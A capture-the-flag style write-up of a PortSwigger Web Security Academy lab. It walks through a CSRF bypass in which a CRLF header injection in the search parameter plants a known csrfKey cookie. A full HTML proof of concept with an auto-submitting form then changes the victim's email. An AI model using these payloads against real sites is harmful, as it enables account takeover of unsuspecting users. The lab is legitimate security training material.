| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | CSRF — csrfKey Cookie Injection via Header Injection |
| Difficulty | Practitioner |
| Target | 0ace009f04c3b4d4823488a700a4000f.web-security-academy.net |
| Objective | Change the victim's email by injecting a known csrfKey cookie and pairing it with a matching CSRF token |
CSRF Where Token Is Tied to Non-Session Cookie — Writeup¶
Initial Observation¶
Two accounts available: wiener:peter and carlos:montoya. Both logged in simultaneously in separate browsers.
Web — Email Change Request Analysis¶
Intercepting both accounts' email change requests reveals a pattern — each has two cookie values and a CSRF token in the body:
POST /my-account/change-email HTTP/2
Cookie: session=BeVY0o1TBYDAim1UeZ3FewMtlk6onNgY; csrfKey=GnEEJPfd7Yrl8PTJ7hCdMIt49tL19W1q
[email protected]&csrf=UNAxn2ICeWmXKkmIiLRo9ivWpaw7n3I3
POST /my-account/change-email HTTP/2
Cookie: csrfKey=J7mjuDsL0bEpHQIczszMy9dugHt40D9i; session=Yd2YYBTW7neReRUB6ZuJHMrS2YKbls26
[email protected]&csrf=dG16VE0J5jhIVfPS6BDHTuy0K9TMAvJb
Both cookies differ between users, and the csrf body parameter differs too. Using the search bar and re-intercepting adds a third cookie:
Cookie: session=BeVY0o1TBYDAim1UeZ3FewMtlk6onNgY; csrfKey=GnEEJPfd7Yrl8PTJ7hCdMIt49tL19W1q; LastSearchTerm=teto
Two things stand out: LastSearchTerm is set by the search bar, and the CSRF token doesn't rotate between requests — it stays valid across multiple uses.
Token-to-Key Binding Analysis¶
Tampering with the csrfKey cookie while keeping the original csrf body token → 400 Bad Request: invalid csrf token. The key and token are linked to each other.
Testing the critical question: can carlos's csrfKey and csrf token be used inside wiener's session?
POST /my-account/change-email HTTP/2
Cookie: csrfKey=GnEEJPfd7Yrl8PTJ7hCdMIt49tL19W1q; session=Yd2YYBTW7neReRUB6ZuJHMrS2YKbls26
[email protected]&csrf=UNAxn2ICeWmXKkmIiLRo9ivWpaw7n3I3
302 Found — email changed.
The csrfKey/csrf pair is valid across different user sessions. They're linked to each other but not to the session cookie. If the attacker can inject a known csrfKey into the victim's browser, they can use the matching csrf token in the PoC and the server will accept it.
Cookie Injection via Search — Header Injection¶
The LastSearchTerm cookie is set from the search query, which means the search endpoint writes directly to Set-Cookie. Testing whether a CRLF sequence in the search term can inject an additional Set-Cookie header:
web-security-academy.net/?search=teto%0D%0ASet-Cookie: csrfKey=miku
The %0d%0a is a URL-encoded carriage return + line feed — the standard CRLF sequence for HTTP header injection.
Response:
HTTP/2 200 OK
Set-Cookie: LastSearchTerm=teto
Set-Cookie: csrfKey=miku; Secure; HttpOnly
The server reflects the injected header. Any browser that hits this URL will have its csrfKey cookie overwritten with the attacker-controlled value.
Full Exploit — Cookie Injection + CSRF PoC¶
The attack needs two things to happen in sequence: first, inject the known csrfKey into the victim's browser; second, fire the email change POST with the matching csrf token. Both happen in a single page load using an <img> tag for the injection step and an onerror handler to trigger the form submit once the image request completes (it will always error since the response isn't an image):
<form class="login-form" name="change-email-form" action="https://0ace009f04c3b4d4823488a700a4000f.web-security-academy.net/my-account/change-email" method="POST">
<input required="" type="hidden" name="email" value="[email protected]">
<input required="" type="hidden" name="csrf" value="NZJSMq3SOdfMPf2VFoaBLTaRP5sNIwVO">
</form>
<img src="https://0ace009f04c3b4d4823488a700a4000f.web-security-academy.net/?search=teto%0d%0aSet-Cookie:%20csrfKey=9phmfv6XUsmgosetpznx3MYdjw4fK5X1%3b%20SameSite=None" onerror="document.forms[0].submit();">
SameSite=None is added to the injected cookie so the browser includes it in the cross-site form submission. The csrf token value in the hidden input matches the csrfKey being injected — both come from the attacker's own account.
Page load sequence:
- Browser fetches the
<img>URL → hits the search endpoint → server setscsrfKey=9phmfv6XUsmgosetpznx3MYdjw4fK5X1on the victim's browser. - Image load fails (not an image) →
onerrorfires →document.forms[0].submit(). - POST fires with the victim's
sessioncookie, the injectedcsrfKey, and the attacker's matchingcsrftoken. - Server validates key-token pair — it matches — email changes.
Storing the exploit and delivering to the victim solves the lab :P
Resources¶
- PortSwigger — Bypassing CSRF token validation
- PortSwigger — CSRF
- PortSwigger — HTTP header injection
- MDN — SameSite cookies
- Burp Suite Professional — request interception, Decoder (CRLF encoding), Repeater